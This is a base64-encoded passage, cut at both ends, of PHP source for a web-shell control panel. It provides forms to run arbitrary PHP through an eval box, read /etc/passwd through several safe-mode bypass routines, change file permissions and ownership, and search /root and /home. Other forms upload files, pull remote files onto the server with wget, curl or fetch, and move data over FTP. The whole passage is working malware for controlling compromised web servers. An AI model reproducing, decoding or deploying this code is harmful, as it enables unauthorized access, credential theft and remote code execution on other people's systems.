JHNhZmVfbW9kZSl7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTcnXSwnaWQ0JykuJHRhYmxlX3VwMi5kaXYoJ2lkNCcpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDU4J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ21rX25hbWUnLDU0LCghZW1wdHkoJF9QT1NUWydta19uYW1lJ10pPygkX1BPU1RbJ21rX25hbWUnXSk6KCJuZXdfbmFtZSIpKSkud3MoNCkuIjxzZWxlY3QgbmFtZT1hY3Rpb24+PG9wdGlvbiB2YWx1ZT1jcmVhdGU+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjUnXS4iPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1kZWxldGU+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjYnXS4iPC9vcHRpb24+PC9zZWxlY3Q+Ii53cygzKS4iPHNlbGVjdCBuYW1lPXdoYXQ+PG9wdGlvbiB2YWx1ZT1maWxlPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDU5J10uIjwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ZGlyPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYwJ10uIjwvb3B0aW9uPjwvc2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnbWsnKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEzJ10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCmlmKCRzYWZlX21vZGUgJiYgJHVuaXgpew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDY3J10sJ2lkNScpLiR0YWJsZV91cDIuZGl2KCdpZDUnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2OCddLiRhcnJvdy4iPC9iPiIsIjxzZWxlY3QgbmFtZT13aGF0PjxvcHRpb24gdmFsdWU9bW9kPkNITU9EPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1vd24+Q0hPV048L29wdGlvbj48b3B0aW9uIHZhbHVlPWdycD5DSEdSUDwvb3B0aW9uPjwvc2VsZWN0PiIud3MoMikuIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDY5J10uJGFycm93LiI8L2I+Ii53cygyKS5pbigndGV4dCcsJ3BhcmFtMScsNDAsKCgkX1BPU1RbJ3BhcmFtMSddKT8oJF9QT1NUWydwYXJhbTEnXSk6KCJmaWxlbmFtZSIpKSkud3MoMikuIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDcwJ10uJGFycm93LiI8L2I+Ii53cygyKS5pbigndGV4dCcsJ3BhcmFtMiB0aXRsZT0iJy4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NzEnXS4nIicsMjYsKCgkX1BPU1RbJ3BhcmFtMiddKT8oJF9QT1NUWydwYXJhbTInXSk6KCIwNzc3IikpKS5pbignaGlkZGVuJywnY21kJywwLCdjaF8nKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KDQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTQnXSwnaWQ3JykuJHRhYmxlX3VwMi5kaXYoJ2lkNycpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDUyJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3NfdGV4dCcsODUsJ3RleHQnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxMiddKSk7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1MyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdzX2RpcicsODUsJGRpcikuIiAqICggL3Jvb3Q7L2hvbWU7L3RtcCApIik7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1NSddLiRhcnJvdy4iPC9iPiIsaW4oJ2NoZWNrYm94JywnbSBpZD1tJywwLCcxJykuaW4oJ3RleHQnLCdzX21hc2snLDgyLCcudHh0Oy5waHAnKS4iKiAoIC50eHQ7LnBocDsuaHRtICkiLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3NlYXJjaF90ZXh0JykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQppZighJHNhZmVfbW9kZSAmJiAkdW5peCl7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NzYnXSwnaWQ4JykuJHRhYmxlX3VwMi5kaXYoJ2lkOCcpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDcyJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3NfdGV4dCcsODUsJ3RleHQnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxMiddKSk7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ3MyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdzX2RpcicsODUsJGRpcikuIiAqICggL3Jvb3Q7L2hvbWU7L3RtcCApIik7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ3NCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdzX21hc2snLDg1LCcqLltoY10nKS53cygxKS4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NzUnXS5pbignaGlkZGVuJywnY21kJywwLCdmaW5kX3RleHQnKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQzMiddLCdpZDknKS4kdGFibGVfdXAyLiRmb250Ow0KZWNobyAiPGRpdiBhbGlnbj1jZW50ZXI+Ii5kaXYoJ2lkOScpLiI8dGV4dGFyZWEgbmFtZT1waHBfZXZhbCBjb2xzPTEwMCByb3dzPTM+IjsNCmVjaG8gKCFlbXB0eSgkX1BPU1RbJ3BocF9ldmFsJ10pPygkX1BPU1RbJ3BocF9ldmFsJ10pOigiLyogZGVsZXRlIHNjcmlwdCAqL1xyXG4vL3VubGluayhcIlhncjB1cFZOLnBocFwiKTtcclxuLy9yZWFkZmlsZShcIi9ldGMvcGFzc3dkXCIpOyIpKTsNCmVjaG8gIjwvdGV4dGFyZWE+IjsNCmVjaG8gaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCdwaHBfZXZhbCcpOw0KZWNobyAiPGJyPiIud3MoMSkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MSddKTsNCmVjaG8gIjwvZGl2PjwvZGl2PjwvZm9udD4iOw0KZWNobyAkdGFibGVfZW5kMS4kZmU7DQppZigkc2FmZV9tb2RlJiYkY3VybF9vbikNCnsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQzMyddLCdpZDEwJykuJHRhYmxlX3VwMi5kaXYoJ2lkMTAnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzMCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0MV9maWxlJyw4NSwoIWVtcHR5KCRfUE9TVFsndGVzdDFfZmlsZSddKT8oJF9QT1NUWyd0ZXN0MV9maWxlJ10pOigiL2V0Yy9wYXNzd2QiKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDEnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCn0NCmlmKCRzYWZlX21vZGUpDQp7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzQnXSwnaWQxMScpLiR0YWJsZV91cDIuZGl2KCdpZDExJykuJHRzOw0KZWNobyAiPHRhYmxlIGNsYXNzPXRhYmxlMSB3aWR0aD0xMDAlIGFsaWduPWNlbnRlcj4iOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzAnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDJfZmlsZScsODUsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QyX2ZpbGUnXSk/KCRfUE9TVFsndGVzdDJfZmlsZSddKTooIi9ldGMvcGFzc3dkIikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3QyJykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQoNCg0KaWYoJHNhZmVfbW9kZSYmJG1zc3FsX29uKQ0Kew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDg1J10sJ2lkMTMnKS4kdGFibGVfdXAyLmRpdignaWQxMycpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM2J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3Q0X21kJywxNSwoIWVtcHR5KCRfUE9TVFsndGVzdDRfbWQnXSk/KCRfUE9TVFsndGVzdDRfbWQnXSk6KCJtYXN0ZXIiKSkpLndzKDQpLiI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNyddLiRhcnJvdy4iPC9iPiIuaW4oJ3RleHQnLCd0ZXN0NF9tbCcsMTUsKCFlbXB0eSgkX1BPU1RbJ3Rlc3Q0X21sJ10pPygkX1BPU1RbJ3Rlc3Q0X21sJ10pOigic2EiKSkpLndzKDQpLiI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzOCddLiRhcnJvdy4iPC9iPiIuaW4oJ3RleHQnLCd0ZXN0NF9tcCcsMTUsKCFlbXB0eSgkX1BPU1RbJ3Rlc3Q0X21wJ10pPygkX1BPU1RbJ3Rlc3Q0X21wJ10pOigicGFzc3dvcmQiKSkpLndzKDQpLiI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNCddLiRhcnJvdy4iPC9iPiIuaW4oJ3RleHQnLCd0ZXN0NF9wb3J0JywxNSwoIWVtcHR5KCRfUE9TVFsndGVzdDRfcG9ydCddKT8oJF9QT1NUWyd0ZXN0NF9wb3J0J10pOigiMTQzMyIpKSkpOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0NF9maWxlJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDRfZmlsZSddKT8oJF9QT1NUWyd0ZXN0NF9maWxlJ10pOigiZGlyIikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3Q0Jykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQppZigkc2FmZV9tb2RlJiYkdW5peCYmZnVuY3Rpb25fZXhpc3RzKCdtYl9zZW5kX21haWwnKSl7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTEyJ10sJ2lkMjInKS4kdGFibGVfdXAyLmRpdignaWQyMicpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMwJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3Q1X2ZpbGUnLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0NV9maWxlJ10pPygkX1BPU1RbJ3Rlc3Q1X2ZpbGUnXSk6KCIvZXRjL3Bhc3N3ZCIpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0NScpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDgnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KaWYoJHNhZmVfbW9kZSYmZnVuY3Rpb25fZXhpc3RzKCdpbWFwX2xpc3QnKSl7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTEzJ10sJ2lkMjMnKS4kdGFibGVfdXAyLmRpdignaWQyMycpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDZfZmlsZScsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3Q2X2ZpbGUnXSk/KCRfUE9TVFsndGVzdDZfZmlsZSddKTooJGRpcikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3Q2Jykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQppZigkc2FmZV9tb2RlJiZmdW5jdGlvbl9leGlzdHMoJ2ltYXBfYm9keScpKXsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTQnXSwnaWQyNCcpLiR0YWJsZV91cDIuZGl2KCdpZDI0JykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzAnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDdfZmlsZScsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3Q3X2ZpbGUnXSk/KCRfUE9TVFsndGVzdDdfZmlsZSddKTooIi9ldGMvcGFzc3dkIikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3Q3Jykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQppZigkc2FmZV9tb2RlKQ0Kew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDExNSddLCdpZDI1JykuJHRhYmxlX3VwMi5kaXYoJ2lkMjUnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTYnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDhfZmlsZTEnLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0OF9maWxlMSddKT8oJF9QT1NUWyd0ZXN0OF9maWxlMSddKTooIi9ldGMvcGFzc3dkIikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3Q4JykpOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTE3J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3Q4X2ZpbGUyJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDhfZmlsZTInXSk/KCRfUE9TVFsndGVzdDhfZmlsZTInXSk6KCRkaXIpKSkud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQppZihAaW5pX2dldCgnZmlsZV91cGxvYWRzJykpew0KZWNobyAiPGZvcm0gbmFtZT11cGxvYWQgbWV0aG9kPVBPU1QgRU5DVFlQRT1tdWx0aXBhcnQvZm9ybS1kYXRhPiI7DQplY2hvICR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1J10sJ2lkMTQnKS4kdGFibGVfdXAyLmRpdignaWQxNCcpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYnXS4kYXJyb3cuIjwvYj4iLGluKCdmaWxlJywndXNlcmZpbGUnLDg1LCcnKSk7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMSddLiRhcnJvdy4iPC9iPiIsaW4oJ2NoZWNrYm94JywnbmYxIGlkPW5mMScsMCwnMScpLmluKCd0ZXh0JywnbmV3X25hbWUnLDgyLCcnKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDInXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KaWYoISRzYWZlX21vZGUmJiR1bml4KXsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNSddLCdpZDE1JykuJHRhYmxlX3VwMi5kaXYoJ2lkMTUnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNiddLiRhcnJvdy4iPC9iPiIsIjxzZWxlY3Qgc2l6ZT1cIjFcIiBuYW1lPVwid2l0aFwiPjxvcHRpb24gdmFsdWU9XCJ3Z2V0XCI+d2dldDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCJmZXRjaFwiPmZldGNoPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cImx5bnhcIj5seW54PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cImxpbmtzXCI+bGlua3M8L29wdGlvbj48b3B0aW9uIHZhbHVlPVwiY3VybFwiPmN1cmw8L29wdGlvbj48b3B0aW9uIHZhbHVlPVwiR0VUXCI+R0VUPC9vcHRpb24+PC9zZWxlY3Q+Ii5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLndzKDIpLiI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNyddLiRhcnJvdy4iPC9iPiIuaW4oJ3RleHQnLCdyZW1fZmlsZScsNzgsJ2h0dHA6Ly8nKSk7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxOCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdsb2NfZmlsZScsMTA1LCRkaXIpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDInXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDg2J10sJ2lkMTYnKS4kdGFibGVfdXAyLmRpdignaWQxNicpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDU5J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2RfbmFtZScsODUsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG93bmxvYWRfZmlsZScpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MTQnXSkpOw0KJGFyaCA9ICRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5MiddOw0KaWYoQGZ1bmN0aW9uX2V4aXN0cygnZ3pjb21wcmVzcycpKSB7ICRhcmggLj0gaW4oJ3JhZGlvJywnY29tcHJlc3MnLDAsJ3ppcCcpLicgemlwJzsgICB9DQppZihAZnVuY3Rpb25fZXhpc3RzKCdnemVuY29kZScpKSAgIHsgJGFyaCAuPSBpbigncmFkaW8nLCdjb21wcmVzcycsMCwnZ3ppcCcpLicgZ3ppcCc7IH0NCmlmKEBmdW5jdGlvbl9leGlzdHMoJ2J6Y29tcHJlc3MnKSkgeyAkYXJoIC49IGluKCdyYWRpbycsJ2NvbXByZXNzJywwLCdiemlwJykuJyBiemlwJzsgfQ0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTEnXS4kYXJyb3cuIjwvYj4iLGluKCdyYWRpbycsJ2NvbXByZXNzJywwLCdub25lJywxKS4nICcuJGFyaCk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQppZihAZnVuY3Rpb25fZXhpc3RzKCJmdHBfY29ubmVjdCIpKXsNCmVjaG8gJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDkzJ10sJ2lkMTcnKS4kdGFibGVfdXAyLmRpdignaWQxNycpLiR0cy4iPHRyPiIuJGZzLiI8dGQgdmFsaWduPXRvcCB3aWR0aD0zMyU+Ii4kdHM7DQplY2hvICI8Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4NyddLiI8L2Rpdj48L2I+PC9mb250PiI7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4OCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmdHBfc2VydmVyX3BvcnQnLDQ1LCghZW1wdHkoJF9QT1NUWydmdHBfc2VydmVyX3BvcnQnXSk/KCRfUE9TVFsnZnRwX3NlcnZlcl9wb3J0J10pOigiMTI3LjAuMC4xOjIxIikpKSk7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmdHBfbG9naW4nLDQ1LCghZW1wdHkoJF9QT1NUWydmdHBfbG9naW4nXSk/KCRfUE9TVFsnZnRwX2xvZ2luJ10pOigiYW5vbnltb3VzIikpKSk7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzOCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmdHBfcGFzc3dvcmQnLDQ1LCghZW1wdHkoJF9QT1NUWydmdHBfcGFzc3dvcmQnXSk/KCRfUE9TVFsnZnRwX3Bhc3N3b3JkJ10pOigiYmlsbHlAbWljcm9zb2Z0LmNvbSIpKSkpOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODknXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZnRwX2ZpbGUnLDQ1LCghZW1wdHkoJF9QT1NUWydmdHBfZmlsZSddKT8oJF9QT1NUWydmdHBfZmlsZSddKTooIi9mdHAtZGlyL2ZpbGUiKSkpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2Z0cF9maWxlX2Rvd24nKSk7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxOCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdsb2NfZmlsZScsNDUsJGRpcikpOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTAnXS4kYXJyb3cuIjwvYj4iLCI8c2VsZWN0IG5hbWU9ZnRwX21vZGU+PG9wdGlvbj5GVFBfQklOQVJZPC9vcHRpb24+PG9wdGlvbj5GVFBfQVNDSUk8L29wdGlvbj48L3NlbGVjdD4iLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikpOw0KZWNobyBzcigyNSwiIixpbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxNCddKSk7DQplY2hvICR0ZS4iPC90ZD4iLiRmZS4kZnMuIjx0ZCB2YWxpZ249dG9wIHdpZHRoPTMzJT4iLiR0czsNCmVjaG8gIjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwMCddLiI8L2Rpdj48L2I+PC9mb250PiI7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4OCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmdHBfc2VydmVyX3BvcnQnLDQ1LCghZW1wdHkoJF9QT1NUWydmdHBfc2VydmVyX3BvcnQnXSk/KCRfUE9TVFsnZnRwX3NlcnZlcl9wb3J0J10pOigiMTI3LjAuMC4xOjIxIikpKSk7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmdHBfbG9naW4nLDQ1LCghZW1wdHkoJF9QT1NUWydmdHBfbG9naW4nXSk/KCRfUE9TVFsnZnRwX2xvZ2luJ10pOigiYW5vbnltb3VzIikpKSk7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzOCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmdHBfcGFzc3dvcmQnLDQ1LCghZW1wdHkoJF9QT1NUWydmdHBfcGFzc3dvcmQnXSk/KCRfUE9TVFsnZnRwX3Bhc3N3b3JkJ10pOigiYmlsbHlAbWljcm9zb2Z0LmNvbSIpKSkpOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTgnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnbG9jX2ZpbGUnLDQ1LCRkaXIpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDg5J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2Z0cF9maWxlJyw0NSwoIWVtcHR5KCRfUE9TVFsnZnRwX2ZpbGUnXSk/KCRfUE9TVFsnZnRwX2ZpbGUnXSk6KCIvZnRwLWRpci9maWxlIikpKS5pbignaGlkZGVuJywnY21kJywwLCdmdHBfZmlsZV91cCcpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDkwJ10uJGFycm93LiI8L2I+IiwiPHNlbGVjdCBuYW1lPWZ0cF9tb2RlPjxvcHRpb24+RlRQX0JJTkFSWTwvb3B0aW9uPjxvcHRpb24+RlRQX0FTQ0lJPC9vcHRpb24+PC9zZWxlY3Q+Ii5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpKTsNCmVjaG8gc3IoMjUsIiIsaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MiddKSk7DQplY2hvICR0ZS4iPC90ZD4iLiRmZS4kZnMuIjx0ZCB2YWxpZ249dG9wIHdpZHRoPTMzJT4iLiR0czsNCmVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxi